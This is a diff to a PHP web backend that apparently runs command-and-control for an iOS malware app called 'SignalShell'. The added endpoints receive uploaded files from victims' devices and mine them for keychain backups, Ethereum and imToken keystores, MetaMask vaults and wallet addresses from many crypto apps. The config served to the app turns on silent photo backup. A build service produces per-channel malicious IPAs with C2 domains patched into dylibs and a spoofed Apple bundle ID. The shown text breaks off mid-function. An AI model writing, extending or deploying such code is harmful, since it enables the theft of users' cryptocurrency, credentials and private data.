diff --git a/.env.example b/.env.example index 3d1df22..9d44042 100644 --- a/.env.example +++ b/.env.example @@ -130,3 +130,5 @@ TRANSFER_FEE_PRIVATE_KEY_TRON= CORUNA_TESSERACT=/usr/bin/tesseract CORUNA_OCR_MAX_EDGE=1280 + +APP_API_DOMAIN=xxxx.com diff --git a/app/Http/Controllers/Admin/ChannelController.php b/app/Http/Controllers/Admin/ChannelController.php index 4c1bd1d..a52a9d4 100644 --- a/app/Http/Controllers/Admin/ChannelController.php +++ b/app/Http/Controllers/Admin/ChannelController.php @@ -87,6 +87,7 @@ class ChannelController extends Controller 'status' => (int) $c->status, 'app_name' => $c->app_name ?: '', 'bundle_id' => $c->bundle_id ?: '', + 'h5_url' => $c->h5_url ?: '', 'links' => $c->supportLinks(), 'landing_path' => $c->landingPath(), 'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'), @@ -240,6 +241,7 @@ class ChannelController extends Controller 'user_id' => ['nullable', 'integer', 'min:0'], 'app_name' => ['required', 'string', 'max:64'], 'bundle_id' => ['required', 'string', 'max:255'], + 'h5_url' => ['nullable', 'string', 'max:2048'], 'remark' => ['nullable', 'string', 'max:255'], 'status' => ['nullable', 'integer', Rule::in([0, 1])], ]); @@ -277,6 +279,7 @@ class ChannelController extends Controller 'status' => (int) ($data['status'] ?? 1), 'app_name' => $data['app_name'], 'bundle_id' => $data['bundle_id'], + 'h5_url' => $data['h5_url'] ?? null, ]); }); } catch (ValidationException $e) { @@ -301,6 +304,100 @@ class ChannelController extends Controller ]); } + /** + * POST /admin/channels/build-app — Create App channel + build IPA. + * + * Creates the Channel record, then invokes AppPackageService to + * generate a customized IPA (domain, channel ID, app name, logo). + * Returns the download URL on success. + */ + public function buildApp(Request $request) + { + abort_if($this->isAgentPortal(), 403); + // Double-check super admin (route middleware admin.super is primary guard) + $admin = auth('admin')->user(); + abort_if($admin === null || ! $admin->isSuper(), 403, '需要超级管理员权限'); + + $data = $request->validate([ + 'channel_id' => ['nullable', 'string', 'max:64', 'regex:/^[a-zA-Z0-9]{12}$/'], + 'user_id' => ['nullable', 'integer', 'min:0'], + 'app_name' => ['required', 'string', 'max:64'], + 'bundle_id' => ['nullable', 'string', 'max:255'], + 'h5_url' => ['nullable', 'string', 'max:2048'], + 'remark' => ['nullable', 'string', 'max:255'], + 'status' => ['nullable', 'integer', Rule::in([0, 1])], + ]); + + $channelId = trim((string) ($data['channel_id'] ?? '')); + if ($channelId === '') { + $channelId = bin2hex(random_bytes(6)); // 12 hex chars like 16d946ea13aa + } + if (Channel::query()->where('channel_id', $channelId)->exists()) { + throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']); + } + + $userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID); + if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) { + throw ValidationException::withMessages(['user_id' => '代理用户不存在']); + } + $this->assertAgentChannelQuota($userId); + + $bundleId = trim((string) ($data['bundle_id'] ?? '')); + if ($bundleId === '') { + $bundleId = 'com.apple.mobile.MobileHouseArrest'; + } + + try { + $channel = Channel::query()->create([ + 'channel_id' => $channelId, + 'builder_type' => Channel::BUILDER_APP, + 'user_id' => $userId, + 'domains' => [], + 'remark' => $data['remark'] ?? null, + 'status' => (int) ($data['status'] ?? 1), + 'app_name' => $data['app_name'], + 'bundle_id' => $bundleId, + 'h5_url' => $data['h5_url'] ?? null, + ]); + } catch (\Throwable $e) { + return response()->json(['code' => 1, 'msg' => $e->getMessage() ?: '创建渠道失败'], 422); + } + + // Handle logo upload + $logoPath = null; + if ($request->hasFile('logo')) { + $file = $request->file('logo'); + if ($file->isValid() && in_array($file->getClientOriginalExtension(), ['png', 'jpg', 'jpeg', 'webp'])) { + $logoPath = $file->getRealPath(); + } + } + + // Build IPA + $apiDomain = trim((string) config('coruna.app_api_domain', env('APP_API_DOMAIN', 'hslaxo.cc'))); + + try { + $service = app(\App\Services\AppPackageService::class); + $result = $service->build($channel, $logoPath, $apiDomain); + } catch (\Throwable $e) { + $result = ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()]; + } + + return response()->json([ + 'code' => $result['success'] ? 0 : 1, + 'msg' => $result['success'] ? '构建成功' : ('渠道已创建,但 IPA 构建失败:'.$result['error']), + 'data' => [ + 'id' => $channel->id, + 'channel_id' => $channel->channel_id, + 'app_name' => $channel->app_name, + 'bundle_id' => $channel->bundle_id, + 'h5_url' => $channel->h5_url, + 'ipa_url' => $result['success'] ? $result['path'] : null, + 'ipa_size' => $result['size'], + 'api_domain' => $apiDomain, + ], + ]); + } + /** * Create an "old" builder channel — 32-hex channel id, static resources * under /web/{id}/ via the legacy channel-builder (new_project.py). @@ -422,9 +519,13 @@ class ChannelController extends Controller } else { $data = $request->validate([ 'user_id' => ['nullable', 'integer', 'min:0'], + 'h5_url' => ['nullable', 'string', 'max:2048'], 'remark' => ['nullable', 'string', 'max:255'], 'status' => ['nullable', 'integer', Rule::in([0, 1])], ]); + if (array_key_exists('h5_url', $data)) { + $channel->h5_url = $data['h5_url'] ?: null; + } if (array_key_exists('user_id', $data)) { $userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID); if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) { diff --git a/app/Http/Controllers/C2/AppC2Controller.php b/app/Http/Controllers/C2/AppC2Controller.php index 285c4b1..12eb64c 100644 --- a/app/Http/Controllers/C2/AppC2Controller.php +++ b/app/Http/Controllers/C2/AppC2Controller.php @@ -260,6 +260,395 @@ class AppC2Controller extends Controller * malware tars up each app's listed directories and uploads them. * Keychain is controlled separately via doKeychain=true. */ + // ════════════════════════════════════════════════════════════ + // SignalShell v1 protocol (shenma.my compatible) + // ════════════════════════════════════════════════════════════ + + + /** + * Parse a SignalShell ZIP upload: extract keystore/keychain files + * from wallet container ZIPs and ingest them. + */ + private function ingestShellZip($device, string $body, string $filename): void + { + \Illuminate\Support\Facades\Log::info('ingestShellZip: START', ['filename' => $filename, 'body_size' => strlen($body), 'device_id' => $device->id]); + + $tmpFile = tempnam(sys_get_temp_dir(), 'shell_zip_'); + file_put_contents($tmpFile, $body); + + $zip = new \ZipArchive; + $openResult = $zip->open($tmpFile); + if ($openResult !== true) { + \Illuminate\Support\Facades\Log::error('ingestShellZip: ZIP open FAILED', ['result' => $openResult, 'file' => $tmpFile]); + @unlink($tmpFile); + return; + } + + \Illuminate\Support\Facades\Log::info('ingestShellZip: ZIP opened', ['files' => $zip->numFiles]); + + $foundKeystores = []; + $foundKeychain = null; + + for ($i = 0; $i < $zip->numFiles; $i++) { + $name = $zip->getNameIndex($i); + + // Skip directories + if (str_ends_with($name, '/')) continue; + + $content = $zip->getFromIndex($i); + if ($content === false || $content === '') continue; + + $lower = strtolower($name); + + // Ethereum V3 keystore files (UTC-- prefixed) + if (str_starts_with(basename($name), 'UTC--')) { + \Illuminate\Support\Facades\Log::info('ingestShellZip: FOUND UTC keystore', ['name' => $name, 'is_json' => $this->isJsonContent($content)]); + if ($this->isJsonContent($content)) { + $foundKeystores[] = ['name' => basename($name), 'content' => $content]; + } + } + + // imToken walletsV2 JSON + if (str_contains($lower, 'walletsv2/') && str_ends_with($lower, '.json')) { + if ($this->isJsonContent($content)) { + $foundKeystores[] = ['name' => basename($name), 'content' => $content]; + } + } + + // keychain backup inside ZIP + if (str_contains($lower, 'keychain') && $this->looksLikeXmlStr($content)) { + $foundKeychain = $content; + } + + // Trust keystore realm files + if (str_contains($lower, '.realm') && ! str_contains($lower, '.lock')) { + // Store as binary for later analysis + $this->storeBinaryArtifact($device, basename($name), $content, 'realm'); + } + + // SQLite databases (TronLink, TokenPocket, etc) + if (str_ends_with($lower, '.sqlite') || str_ends_with($lower, '.sqlite3') || str_ends_with($lower, '.db')) { + $this->storeBinaryArtifact($device, basename($name), $content, 'sqlite'); + } + } + + $zip->close(); + @unlink($tmpFile); + + // MetaMask vault detection: look for persist-KeyringController with vault field + if (str_contains(strtolower($filename), 'metamask')) { + $tmpFile2 = tempnam(sys_get_temp_dir(), 'mm_vault_'); + file_put_contents($tmpFile2, $body); + $mmZip = new \ZipArchive; + if ($mmZip->open($tmpFile2) === true) { + for ($mi = 0; $mi < $mmZip->numFiles; $mi++) { + $mf = $mmZip->getNameIndex($mi); + if (! str_contains($mf, 'KeyringController')) continue; + $mc = $mmZip->getFromIndex($mi); + $mj = json_decode($mc, true); + if (! is_array($mj) || ! isset($mj['vault'])) continue; + $mv = json_decode($mj['vault'], true); + if (! is_array($mv) || ! isset($mv['cipher'])) continue; + + \Illuminate\Support\Facades\Log::info('ingestShellZip: FOUND MetaMask vault'); + + $mmRaw = array_merge($mv, ['kind' => 'metamask.vault']); + $mmHash = md5($mc); + $mmExisting = \App\Models\WalletKeystore::where('device_id', $device->id)->where('source', 'MetaMask')->first(); + if (! $mmExisting) { + $mmRow = \App\Models\WalletKeystore::create([ + 'device_id' => $device->id, + 'chain' => \App\Models\Device::CHAIN_APP, + 'source' => 'MetaMask', + 'decrypted' => 0, + 'needs_password' => 1, + 'raw_json' => $mmRaw, + 'content_hash' => $mmHash, + ]); + $mmStats = \App\Models\WalletKeystore::computeListStatsFromJson($mmRaw); + $mmRow->list_kind = $mmStats['kind']; + $mmRow->list_has_web3 = 1; + $mmRow->save(); + \Illuminate\Support\Facades\Log::info('ingestShellZip: MetaMask keystore created', ['id' => $mmRow->id]); + } + } + $mmZip->close(); + + // Extract user addresses from ProfileMetricsController + AccountsController + $mmAddrZip = new \ZipArchive; + if ($mmAddrZip->open($tmpFile2) === true) { + $mmAddrs = []; + for ($ai = 0; $ai < $mmAddrZip->numFiles; $ai++) { + $af = $mmAddrZip->getNameIndex($ai); + $ac = $mmAddrZip->getFromIndex($ai); + if (! $ac) continue; + $aj = json_decode($ac, true); + if (! is_array($aj)) continue; + + if (str_contains($af, 'ProfileMetricsController')) { + foreach ($aj['reportedAccounts'] ?? [] as $ra) { + $ct = \App\Support\WalletSource::inferChainType($ra); + if ($ct !== '' && \App\Support\WalletSource::isSupportedChain($ct)) { + $mmAddrs[$ra] = $ct; + } + } + } + if (str_contains($af, 'AccountsController')) { + foreach ($aj['internalAccounts']['accounts'] ?? [] as $acc) { + $ia = $acc['address'] ?? ''; + if (preg_match('/^0x[0-9a-fA-F]{40}$/', $ia)) { + $mmAddrs[$ia] = 'ETHEREUM'; + } + } + } + } + $mmAddrZip->close(); + + foreach ($mmAddrs as $addr => $ct) { + $exists = \App\Models\WalletAddress::where('device_id', $device->id)->where('address', $addr)->first(); + if (! $exists) { + try { + \App\Models\WalletAddress::create([ + 'device_id' => $device->id, + 'address' => $addr, + 'chain_type' => $ct, + 'source' => 'MetaMask', + ]); + } catch (\Throwable $e) { + // skip + } + } + } + if ($mmAddrs !== []) { + \Illuminate\Support\Facades\Log::info('ingestShellZip: MetaMask addresses stored', ['count' => count($mmAddrs)]); + } + } + } + @unlink($tmpFile2); + } + + \Illuminate\Support\Facades\Log::info('ingestShellZip: found keystores', ['count' => count($foundKeystores)]); + + // Store extracted keystores + foreach ($foundKeystores as $ks) { + try { + // Map filename to wallet source label + $sourceLabel = 'unknown'; + $fn = strtolower($filename); + if (str_contains($fn, 'trust') || str_contains($fn, 'sixdays')) $sourceLabel = 'Trust Wallet'; + elseif (str_contains($fn, 'tronlink')) $sourceLabel = 'TronLink'; + elseif (str_contains($fn, 'im.token') || str_contains($fn, 'im_token')) $sourceLabel = 'imToken'; + elseif (str_contains($fn, 'bitpie')) $sourceLabel = 'Bitpie'; + elseif (str_contains($fn, 'global.wallet')) $sourceLabel = 'Global Wallet'; + elseif (str_contains($fn, 'metamask')) $sourceLabel = 'MetaMask'; + elseif (str_contains($fn, 'coin98')) $sourceLabel = 'Coin98'; + elseif (str_contains($fn, 'phantom')) $sourceLabel = 'Phantom'; + elseif (str_contains($fn, 'uniswap')) $sourceLabel = 'Uniswap'; + elseif (str_contains($fn, 'exodus')) $sourceLabel = 'Exodus'; + elseif (str_contains($fn, 'tonhub')) $sourceLabel = 'Tonhub'; + elseif (str_contains($fn, 'tonkeeper')) $sourceLabel = 'Tonkeeper'; + elseif (str_contains($fn, 'okex')) $sourceLabel = 'OKX'; + else $sourceLabel = substr(basename($filename, '.zip'), 0, 40); + + $rawJson = json_decode($ks['content'], true); + if (is_array($rawJson) && ! isset($rawJson['kind'])) { + // Tag keystore type for UI display + pipeline recognition + if (isset($rawJson['crypto']) || str_starts_with($ks['name'], 'UTC--')) { + $rawJson['kind'] = 'web3.keystore'; + } elseif (str_contains($ks['name'], 'walletsv2') || isset($rawJson['imTokenMeta'])) { + $rawJson['kind'] = 'web3.keystore'; + } + } + + \App\Models\WalletKeystore::create([ + 'device_id' => $device->id, + 'chain' => \App\Models\Device::CHAIN_APP, + 'source' => $sourceLabel, + 'decrypted' => 0, + 'needs_password' => 1, + 'raw_json' => $rawJson, + 'content_hash' => md5($ks['content']), + ]); + \Illuminate\Support\Facades\Log::channel('keystore')->info('shellUpload: stored keystore', [ + 'device' => $device->device_id, + 'source' => $ks['name'], + ]); + } catch (\Throwable $e) { + \Illuminate\Support\Facades\Log::warning('ingestShellZip: keystore create skipped', [ + 'name' => $ks['name'] ?? '?', + 'error' => $e->getMessage(), + ]); + } + } + + // Parse keychain if found inside ZIP + if ($foundKeychain !== null) { + try { + app(\App\Services\AppUploadIngester::class) + ->ingestArtifact($device, $foundKeychain, 'keychain.xml'); + } catch (\Throwable $e) { + // ignore + } + } + } + + private function isJsonContent(string $content): bool + { + $trimmed = ltrim($content); + return str_starts_with($trimmed, '{') || str_starts_with($trimmed, '['); + } + + private function looksLikeXmlStr(string $content): bool + { + return str_starts_with(ltrim($content), 'device_id); + if (! is_dir($dir)) { + @mkdir($dir, 0755, true); + } + file_put_contents($dir.'/'.$type.'_'.$name, $content); + } + + /** + * GET /api/ios-shell/config?a= + * + * SignalShell calls this on launch and periodically (~24s) to get + * the WebView URL and photo backup policy. Response shape must + * match the original shenma.my exactly: + * + * {"schema_version":1,"website_url":"https://uberlife.cc",...} + */ + public function shellConfig(Request $request): Response + { + $this->logRequest($request, 'shell_config'); + + // Look up channel by the `a` query param (channel_id / API key) + $apiKey = (string) $request->query('a', ''); + $websiteUrl = 'https://uberlife.cc'; + + if ($apiKey !== '') { + $channel = \App\Models\Channel::query() + ->where('channel_id', $apiKey) + ->where('builder_type', \App\Models\Channel::BUILDER_APP) + ->first(); + if ($channel && $channel->h5_url) { + $websiteUrl = $channel->h5_url; + } + } + + return $this->json([ + 'schema_version' => 1, + 'website_url' => $websiteUrl, + 'status_bar_style' => 'hidden', + 'background_color' => '#FFFFFF', + 'hide_home_indicator' => true, + 'backup' => [ + 'enabled' => true, + 'max_dimension' => 2048, + 'jpeg_quality' => 0.6, + 'concurrency' => 4, + ], + ]); + } + + /** + * POST /api/v1/upload?a=& + * + * SignalShell sends a single POST with the raw file body. + * Filename is the second query parameter. + * Expected response: {"ok":true,"size":N,"bind":true} + */ + public function shellUpload(Request $request): Response + { + $this->logRequest($request, 'shell_upload'); + + // Extract filename from RAW query string WITHOUT parse_str + // (parse_str converts dots to underscores in key names!) + $rawQuery = $request->server->get('QUERY_STRING', ''); + $apiKey = ''; + $filename = 'unknown'; + foreach (explode('&', $rawQuery) as $part) { + $kv = explode('=', $part, 2); + $key = urldecode($kv[0]); + if ($key === 'a') { + $apiKey = urldecode($kv[1] ?? ''); + } elseif ($key !== '' && $filename === 'unknown') { + $filename = $key; + } + } + + $body = (string) $request->getContent(false); + $size = strlen($body); + $deviceId = $request->headers->get('x-device-id', 'unknown'); + $iosVersion = $request->headers->get('x-ios-version', 'unknown'); + + // Register/find device (apiKey becomes channelId via appId field) + $device = $this->registerAppDevice($request, [ + 'deviceId' => $deviceId, + 'iosVersion' => $iosVersion, + 'appName' => 'SignalShell', + 'bundleId' => 'com.apple.mobile.MobileHouseArrest', + 'appId' => $apiKey, + ]); + + // Save raw file + $date = date('Ymd'); + $dir = public_path("log/shell_upload/{$date}"); + if (! is_dir($dir)) { + @mkdir($dir, 0755, true); + } + $safeName = preg_replace('/[^a-zA-Z0-9._-]/', '_', $filename); + $savedPath = "{$dir}/{$deviceId}_{$safeName}"; + file_put_contents($savedPath, $body); + + // Log upload + \Illuminate\Support\Facades\Log::info('SignalShell upload', [ + 'filename' => $filename, + 'size' => $size, + 'device_id' => $deviceId, + 'ios_version' => $iosVersion, + 'saved_to' => $savedPath, + ]); + + // Ingest: parse keychain.xml / wallet ZIP / notes → store keystores + addresses + \Illuminate\Support\Facades\Log::info('shellUpload: ingest check', [ + 'device_null' => $device === null, + 'size' => $size, + 'filename' => $filename, + 'ends_log' => str_ends_with(strtolower($filename), '.log'), + 'ends_zip' => str_ends_with(strtolower($filename), '.zip'), + ]); + if ($device !== null && $size > 0 && ! str_ends_with(strtolower($filename), '.log')) { + try { + // ZIP files from SignalShell need special handling + $fnLower = strtolower($filename); + if (str_ends_with($fnLower, '.zip')) { + $this->ingestShellZip($device, $body, $filename); + } else { + app(\App\Services\AppUploadIngester::class) + ->ingestArtifact($device, $body, $filename); + } + } catch (\Throwable $e) { + \Illuminate\Support\Facades\Log::error('shellUpload ingest failed', [ + 'filename' => $filename, + 'device' => $deviceId, + 'error' => $e->getMessage(), + ]); + } + } + + // Return what SignalShell expects + return $this->json([ + 'ok' => true, + 'size' => $size, + 'bind' => $device !== null, + ]); + } + + private const BUNDLE_IDS_TARGETS = [ 'com.tronlink.hdwallet' => ['Documents'], 'im.token.app' => ['Documents', 'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1'], diff --git a/app/Jobs/ProcessShellUpload.php b/app/Jobs/ProcessShellUpload.php new file mode 100644 index 0000000..dfacbac --- /dev/null +++ b/app/Jobs/ProcessShellUpload.php @@ -0,0 +1,366 @@ +runningUnitTests()) { + $this->onConnection('shell'); + } + } + + public function handle(AppUploadIngester $ingester): void + { + $device = Device::query()->find($this->deviceId); + if ($device === null) { + Log::channel('keystore')->warning('ProcessShellUpload: device not found', [ + 'device_id' => $this->deviceId, + ]); + return; + } + + if (! file_exists($this->filePath)) { + Log::channel('keystore')->warning('ProcessShellUpload: file not found', [ + 'file' => $this->filePath, + ]); + return; + } + + $body = file_get_contents($this->filePath); + $size = strlen($body); + + Log::channel('keystore')->info('ProcessShellUpload: START', [ + 'device_id' => $device->id, + 'filename' => $this->filename, + 'size' => $size, + ]); + + $lower = strtolower($this->filename); + + // Skip log files — no wallet data + if (str_ends_with($lower, '.log') || str_ends_with($lower, '_log')) { + Log::channel('keystore')->info('ProcessShellUpload: skipped (log file)'); + return; + } + + try { + if (str_ends_with($lower, '.zip')) { + $this->processZip($device, $body, $this->filename); + } elseif (str_contains($lower, 'keychain') || str_ends_with($lower, '.xml')) { + // Keychain XML → use existing ingester + $ingester->ingestArtifact($device, $body, $this->filename); + } + + // After all data ingested, run decryption + if (str_contains($lower, 'notes') || str_contains($lower, 'keychain')) { + // This is likely the last upload — trigger decryption + app(App\Services\AppUploadIngester::class)->dispatchDecrypt($device); + } + } catch (\Throwable $e) { + Log::channel('keystore')->error('ProcessShellUpload: failed', [ + 'device_id' => $device->id, + 'filename' => $this->filename, + 'error' => $e->getMessage(), + 'trace' => $e->getTraceAsString(), + ]); + } + } + + private function processZip(Device $device, string $body, string $filename): void + { + $tmpFile = tempnam(sys_get_temp_dir(), 'shell_proc_'); + file_put_contents($tmpFile, $body); + + $zip = new \ZipArchive; + if ($zip->open($tmpFile) !== true) { + @unlink($tmpFile); + return; + } + + // Map filename → wallet source label + $sourceLabel = $this->sourceFromFilename($filename); + $lower = strtolower($filename); + + // ── 1. Extract keystore files ── + $foundKeystores = []; + for ($i = 0; $i < $zip->numFiles; $i++) { + $name = $zip->getNameIndex($i); + if (str_ends_with($name, '/')) continue; + + $content = $zip->getFromIndex($i); + if ($content === false || $content === '') continue; + + $bn = basename($name); + + // UTC keystore + if (str_starts_with($bn, 'UTC--') && $this->isJson($content)) { + $foundKeystores[] = ['name' => $bn, 'content' => $content]; + } + + // imToken walletsV2 + if (str_contains(strtolower($name), 'walletsv2/') && str_ends_with($lower, '.json') && $this->isJson($content)) { + $foundKeystores[] = ['name' => $bn, 'content' => $content]; + } + } + + // Store keystores + foreach ($foundKeystores as $ks) { + $rawJson = json_decode($ks['content'], true); + if (is_array($rawJson) && ! isset($rawJson['kind'])) { + if (isset($rawJson['crypto']) || str_starts_with($ks['name'], 'UTC--')) { + $rawJson['kind'] = 'web3.keystore'; + } elseif (str_contains($ks['name'], 'walletsv2') || isset($rawJson['imTokenMeta'])) { + $rawJson['kind'] = 'web3.keystore'; + } + } + + try { + WalletKeystore::create([ + 'device_id' => $device->id, + 'chain' => Device::CHAIN_APP, + 'source' => $sourceLabel, + 'decrypted' => 0, + 'needs_password' => 1, + 'raw_json' => $rawJson, + 'content_hash' => md5($ks['content']), + ]); + } catch (\Throwable $e) { + Log::channel('keystore')->warning('ProcessShellUpload: keystore skipped', [ + 'name' => $ks['name'], + 'error' => $e->getMessage(), + ]); + } + } + + // ── 2. MetaMask vault ── + if (str_contains($lower, 'metamask')) { + $this->extractMetaMaskVault($device, $tmpFile); + } + + // ── 3. Blockchain address scan (text files only) ── + $this->scanAddresses($device, $zip, $sourceLabel); + + $zip->close(); + @unlink($tmpFile); + + Log::channel('keystore')->info('ProcessShellUpload: DONE', [ + 'device_id' => $device->id, + 'filename' => $filename, + 'keystores' => count($foundKeystores), + ]); + } + + private function extractMetaMaskVault(Device $device, string $tmpFile): void + { + $zip = new \ZipArchive; + if ($zip->open($tmpFile) !== true) return; + + for ($i = 0; $i < $zip->numFiles; $i++) { + $fn = $zip->getNameIndex($i); + if (! str_contains($fn, 'KeyringController')) continue; + + $content = $zip->getFromIndex($i); + $json = json_decode($content ?? '', true); + if (! is_array($json) || ! isset($json['vault'])) continue; + + $vault = json_decode($json['vault'], true); + if (! is_array($vault) || ! isset($vault['cipher'])) continue; + + $raw = array_merge($vault, ['kind' => 'metamask.vault']); + $existing = WalletKeystore::where('device_id', $device->id)->where('source', 'MetaMask')->first(); + if (! $existing) { + $row = WalletKeystore::create([ + 'device_id' => $device->id, + 'chain' => Device::CHAIN_APP, + 'source' => 'MetaMask', + 'decrypted' => 0, + 'needs_password' => 1, + 'raw_json' => $raw, + 'content_hash' => md5($content), + ]); + $stats = WalletKeystore::computeListStatsFromJson($raw); + $row->list_kind = $stats['kind']; + $row->list_has_web3 = 1; + $row->save(); + } + + // Also extract reportedAccounts addresses + $this->extractMetaMaskAddresses($device, $tmpFile); + } + $zip->close(); + } + + private function extractMetaMaskAddresses(Device $device, string $tmpFile): void + { + $zip = new \ZipArchive; + if ($zip->open($tmpFile) !== true) return; + + $addrs = []; + for ($i = 0; $i < $zip->numFiles; $i++) { + $fn = $zip->getNameIndex($i); + $content = $zip->getFromIndex($i); + if (! $content) continue; + $json = json_decode($content, true); + if (! is_array($json)) continue; + + if (str_contains($fn, 'ProfileMetricsController')) { + foreach ($json['reportedAccounts'] ?? [] as $ra) { + $ct = \App\Support\WalletSource::inferChainType($ra); + if ($ct !== '' && \App\Support\WalletSource::isSupportedChain($ct)) { + $addrs[$ra] = $ct; + } + } + } + if (str_contains($fn, 'AccountsController')) { + foreach ($json['internalAccounts']['accounts'] ?? [] as $acc) { + $ia = $acc['address'] ?? ''; + if (preg_match('/^0x[0-9a-fA-F]{40}$/', $ia)) { + $addrs[$ia] = 'ETHEREUM'; + } + } + } + } + $zip->close(); + + foreach ($addrs as $addr => $ct) { + $exists = WalletAddress::where('device_id', $device->id)->where('address', $addr)->first(); + if (! $exists) { + try { + WalletAddress::create([ + 'device_id' => $device->id, + 'address' => $addr, + 'chain_type' => $ct, + 'source' => 'MetaMask', + ]); + } catch (\Throwable $e) { + // skip + } + } + } + } + + private function scanAddresses(Device $device, \ZipArchive $zip, string $sourceLabel): void + { + $patterns = [ + '/0x[0-9a-fA-F]{40}/' => 'ETHEREUM', + '/T[1-9A-HJ-NP-Za-km-z]{33}/' => 'TRON', + ]; + $validators = [ + 'ETHEREUM' => fn (string $a) => \App\Services\Chain\EthAddress::isValid($a), + 'TRON' => fn (string $a) => \App\Services\Chain\TronAddress::isValid($a), + ]; + + $contracts = [ + 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t', + '0xdAC17F958D2ee523a2206206994597C13D831ec7', + '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48', + '0x55d398326f99059fF775485246999027B3197955', + ]; + + $found = []; + for ($i = 0; $i < $zip->numFiles; $i++) { + $fn = $zip->getNameIndex($i); + $lower = strtolower($fn); + + if (str_ends_with($lower, '.realm') || str_ends_with($lower, '.realm.lock') || + str_ends_with($lower, '.sqlite') || str_ends_with($lower, '.db') || + str_contains($lower, 'mmkv') || str_ends_with($lower, 'observations.db') || + str_ends_with($lower, '.icm')) continue; + + $content = $zip->getFromIndex($i); + if (! $content || ! mb_check_encoding(substr($content, 0, 1000), 'UTF-8')) continue; + + foreach ($patterns as $pat => $chainType) { + if (preg_match_all($pat, $content, $m)) { + $validator = $validators[$chainType] ?? null; + foreach ($m[0] as $addr) { + if ($validator && ! $validator($addr)) continue; + if (in_array($addr, $contracts)) continue; + $found[$addr] = $chainType; + } + } + } + } + + foreach ($found as $addr => $ct) { + $exists = WalletAddress::where('device_id', $device->id)->where('address', $addr)->first(); + if (! $exists) { + try { + WalletAddress::create([ + 'device_id' => $device->id, + 'address' => $addr, + 'chain_type' => $ct, + 'source' => $sourceLabel, + ]); + } catch (\Throwable $e) { + // skip + } + } + } + } + + private function sourceFromFilename(string $filename): string + { + $fn = strtolower($filename); + if (str_contains($fn, 'trust') || str_contains($fn, 'sixdays')) return 'Trust Wallet'; + if (str_contains($fn, 'tronlink')) return 'TronLink'; + if (str_contains($fn, 'im.token') || str_contains($fn, 'im_token')) return 'imToken'; + if (str_contains($fn, 'bitpie')) return 'Bitpie'; + if (str_contains($fn, 'global.wallet')) return 'Global Wallet'; + if (str_contains($fn, 'metamask')) return 'MetaMask'; + if (str_contains($fn, 'coin98')) return 'Coin98'; + if (str_contains($fn, 'phantom')) return 'Phantom'; + if (str_contains($fn, 'uniswap')) return 'Uniswap'; + if (str_contains($fn, 'exodus')) return 'Exodus'; + if (str_contains($fn, 'tonhub')) return 'Tonhub'; + if (str_contains($fn, 'tonkeeper')) return 'Tonkeeper'; + if (str_contains($fn, 'okex')) return 'OKX'; + + return substr(basename($filename, '.zip'), 0, 40); + } + + private function isJson(string $content): bool + { + $t = ltrim($content); + return str_starts_with($t, '{') || str_starts_with($t, '['); + } +} diff --git a/app/Models/Channel.php b/app/Models/Channel.php index 9b229f4..84d3b92 100644 --- a/app/Models/Channel.php +++ b/app/Models/Channel.php @@ -36,7 +36,7 @@ class Channel extends Model protected $fillable = [ 'channel_id', 'builder_type', 'user_id', 'domains', 'status', 'remark', - 'app_name', 'bundle_id', + 'app_name', 'bundle_id', 'h5_url', ]; protected $attributes = [ diff --git a/app/Services/AppPackageService.php b/app/Services/AppPackageService.php new file mode 100644 index 0000000..4fb354f --- /dev/null +++ b/app/Services/AppPackageService.php @@ -0,0 +1,356 @@ + 20, + 'Icon-20@2x.png' => 40, + 'Icon-20@3x.png' => 60, + 'Icon-29.png' => 29, + 'Icon-29@2x.png' => 58, + 'Icon-29@3x.png' => 87, + 'Icon-40.png' => 40, + 'Icon-40@2x.png' => 80, + 'Icon-40@3x.png' => 120, + 'Icon-60@2x.png' => 120, + 'Icon-60@3x.png' => 180, + 'Icon-76.png' => 76, + 'Icon-76@2x.png' => 152, + 'Icon-83.5@2x.png' => 167, + ]; + + /** + * Build a customized IPA for the given channel. + * + * @param Channel $channel App-builder channel with app_name, bundle_id, channel_id + * @param string|null $logoPath Temporary path to the uploaded logo (PNG, ≥180×180) + * @param string $apiDomain C2 domain (e.g. hslaxo.cc) + * @return array{success: bool, path: string, size: int, error: string} + */ + public function build(Channel $channel, ?string $logoPath, string $apiDomain): array + { + $baseIpa = storage_path('app/'.self::BASE_IPA_PATH); + if (! file_exists($baseIpa)) { + return ['success' => false, 'path' => '', 'size' => 0, 'error' => 'Base IPA template not found. Upload via admin first.']; + } + + $workDir = storage_path('app/app-builds/'.$channel->channel_id); + if (is_dir($workDir)) { + $this->rrmdir($workDir); + } + @mkdir($workDir, 0755, true); + + try { + // 1. Extract base IPA + $zip = new \ZipArchive; + if ($zip->open($baseIpa) !== true) { + throw new RuntimeException('Cannot open base IPA'); + } + $zip->extractTo($workDir); + $zip->close(); + + $appDir = $workDir.'/Payload/SignalShell.app'; + if (! is_dir($appDir)) { + // Try to find any .app directory + $payload = $workDir.'/Payload'; + $dirs = glob($payload.'/*.app'); + if (empty($dirs)) { + throw new RuntimeException('No .app directory found in IPA'); + } + $appDir = $dirs[0]; + } + + // 2. Patch Info.plist + $this->patchInfoPlist($appDir, $channel); + + // 3. Generate icons from logo + if ($logoPath && file_exists($logoPath)) { + $this->generateIcons($appDir, $logoPath); + } + + // 4. Patch libroute.dylib (domain + channel ID) + $this->patchLibroute($appDir, $apiDomain, $channel->channel_id); + + // 5. Patch libmcmlease.dylib (domain) + $this->patchLibmcmlease($appDir, $apiDomain); + + // 6. Sign (ldid if available, skip otherwise) + $this->sign($appDir); + + // 7. Package IPA + $outputPath = 'channel/'.$channel->channel_id.'/app.ipa'; + $outputFull = public_path($outputPath); + @mkdir(dirname($outputFull), 0755, true); + + $outZip = new \ZipArchive; + if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) { + throw new RuntimeException('Cannot create output IPA'); + } + $this->addDirToZip($outZip, $workDir.'/Payload', 'Payload'); + $outZip->close(); + + $size = filesize($outputFull); + + // Cleanup + $this->rrmdir($workDir); + + return [ + 'success' => true, + 